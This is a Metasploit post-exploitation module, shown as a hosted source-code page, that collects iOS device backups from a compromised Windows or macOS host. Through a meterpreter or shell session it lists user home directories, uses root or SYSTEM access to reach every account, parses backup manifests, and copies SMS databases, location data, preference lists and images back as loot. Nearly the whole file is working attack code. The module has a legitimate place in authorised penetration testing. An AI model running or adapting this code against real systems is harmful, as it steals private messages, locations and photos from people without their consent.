Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/apple_ios_backup.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::File
9
include Msf::Post::Windows::Version
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',
16
'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'hdm',
20
'bannedit' # Based on bannedit's pidgin_cred module structure
21
],
22
'Platform' => %w[osx win],
23
'SessionTypes' => ['meterpreter', 'shell'],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
core_channel_eof
28
core_channel_open
29
core_channel_read
30
core_channel_write
31
stdapi_sys_config_getenv
32
stdapi_sys_config_getuid
33
]
34
}
35
},
36
'Notes' => {
37
'Stability' => [CRASH_SAFE],
38
'SideEffects' => [],
39
'Reliability' => []
40
}
41
)
42
)
43
register_options(
44
[
45
OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),
46
OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
47
OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
48
OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
49
]
50
)
51
end
52
53
#
54
# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
55
#
56
#
57
def run
58
case session.platform
59
when 'osx'
60
@platform = :osx
61
paths = enum_users_unix
62
when 'windows'
63
@platform = :windows
64
drive = session.sys.config.getenv('SystemDrive')
65
version = get_version_info
66
67
if version.build_number >= Msf::WindowsVersion::Vista_SP0
68
@appdata = '\\AppData\\Roaming'
69
@users = drive + '\\Users'
70
else
71
@appdata = '\\Application Data'
72
@users = drive + '\\Documents and Settings'
73
end
74
75
if session.type != 'meterpreter'
76
print_error 'Only meterpreter sessions are supported on windows hosts'
77
return
78
end
79
paths = enum_users_windows
80
else
81
print_error "Unsupported platform #{session.platform}"
82
return
83
end
84
85
if paths.empty?
86
print_status('No users found with an iTunes backup directory')
87
return
88
end
89
90
process_backups(paths)
91
end
92
93
def enum_users_unix
94
if @platform == :osx
95
home = '/Users/'
96
else
97
home = '/home/'
98
end
99
100
if got_root?
101
userdirs = []
102
session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|
103
userdirs << home + user_name
104
end
105
userdirs << '/root'
106
else
107
userdirs = [ home + whoami ]
108
end
109
110
backup_paths = []
111
userdirs.each do |user_dir|
112
output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")
113
if output =~ /No such file/i
114
next
115
else
116
print_status("Found backup directory in: #{user_dir}")
117
backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"
118
end
119
end
120
121
check_for_backups_unix(backup_paths)
122
end
123
124
def check_for_backups_unix(backup_dirs)
125
dirs = []
126
backup_dirs.each do |backup_dir|
127
print_status("Checking for backups in #{backup_dir}")
128
session.shell_command("ls #{backup_dir}").each_line do |dir|
129
next if dir == '.' || dir == '..'
130
131
if dir =~ /^[0-9a-f]{16}/i
132
print_status("Found #{backup_dir}\\#{dir}")
133
dirs << ::File.join(backup_dir.chomp, dir.chomp)
134
end
135
end
136
end
137
dirs
138
end
139
140
def enum_users_windows
141
paths = Array.new
142
143
if got_root?
144
begin
145
session.fs.dir.foreach(@users) do |path|
146
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i
147
148
bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
149
dirs = check_for_backups_win(bdir)
150
dirs.each { |dir| paths << dir } if dirs
151
end
152
rescue ::Rex::Post::Meterpreter::RequestError
153
# Handle the case of the @users base directory is not accessible
154
end
155
else
156
print_status "Only checking #{whoami} account since we do not have SYSTEM..."
157
path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
158
dirs = check_for_backups_win(path)
159
dirs.each { |dir| paths << dir } if dirs
160
end
161
return paths
162
end
163
164
def check_for_backups_win(bdir)
165
dirs = []
166
begin
167
print_status("Checking for backups in #{bdir}")
168
session.fs.dir.foreach(bdir) do |dir|
169
if dir =~ /^[0-9a-f]{16}/i
170
print_status("Found #{bdir}\\#{dir}")
171
dirs << "#{bdir}\\#{dir}"
172
end
173
end
174
rescue Rex::Post::Meterpreter::RequestError
175
# Handle base directories that do not exist
176
end
177
dirs
178
end
179
180
def process_backups(paths)
181
paths.each { |path| process_backup(path) }
182
end
183
184
def process_backup(path)
185
print_status("Pulling data from #{path}...")
186
187
mbdb_data = ''
188
mbdx_data = ''
189
190
print_status("Reading Manifest.mbdb from #{path}...")
191
if session.type == 'shell'
192
mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
193
if mbdb_data =~ /No such file/i
194
print_status("Manifest.mbdb not found in #{path}...")
195
return
196
end
197
else
198
mfd = session.fs.file.new("#{path}\\Manifest.mbdb", 'rb')
199
mbdb_data << mfd.read until mfd.eof?
200
mfd.close
201
end
202
203
print_status("Reading Manifest.mbdx from #{path}...")
204
if session.type == 'shell'
205
mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
206
if mbdx_data =~ /No such file/i
207
print_status("Manifest.mbdx not found in #{path}...")
208
return
209
end
210
else
211
mfd = session.fs.file.new("#{path}\\Manifest.mbdx", 'rb')
212
mbdx_data << mfd.read until mfd.eof?
213
mfd.close
214
end
215
216
manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)
217
218
patterns = []
219
patterns << /\.db$/i if datastore['DATABASES']
220
patterns << /\.plist$/i if datastore['PLISTS']
221
patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
222
patterns << /.*/ if datastore['EVERYTHING']
223
224
done = {}
225
patterns.each do |pat|
226
manifest.entries.each_pair do |fname, info|
227
next if done[fname]
228
next if info[:filename].to_s !~ pat
229
230
print_status("Downloading #{info[:domain]} #{info[:filename]}...")
231
232
begin
233
fdata = ''
234
if session.type == 'shell'
235
fdata = session.shell_command("cat #{path}/#{fname}")
236
else
237
mfd = session.fs.file.new("#{path}\\#{fname}", 'rb')
238
fdata << mfd.read until mfd.eof?
239
mfd.close
240
end
241
bname = info[:filename] || 'unknown.bin'
242
rname = info[:domain].to_s + '_' + bname
243
rname = rname.gsub(%r{/|\\}, '.').gsub(/\s+/, '_').gsub(/[^A-Za-z0-9._]/, '').gsub(/_+/, '_')
244
ctype = 'application/octet-stream'
245
246
store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")
247
rescue ::Interrupt
248
raise $ERROR_INFO
249
rescue StandardError => e
250
print_error("Failed to download #{fname}: #{e.class} #{e}")
251
end
252
253
done[fname] = true
254
end
255
end
256
end
257
258
def got_root?
259
case @platform
260
when :windows
261
if session.sys.config.getuid =~ /SYSTEM/
262
return true
263
else
264
return false
265
end
266
else # unix, bsd, linux, osx
267
ret = whoami
268
if ret =~ /root/
269
return true
270
else
271
return false
272
end
273
end
274
end
275
276
def whoami
277
if @platform == :windows
278
session.sys.config.getenv('USERNAME')
279
else
280
session.shell_command('whoami').chomp
281
end
282
end
283
end
284
285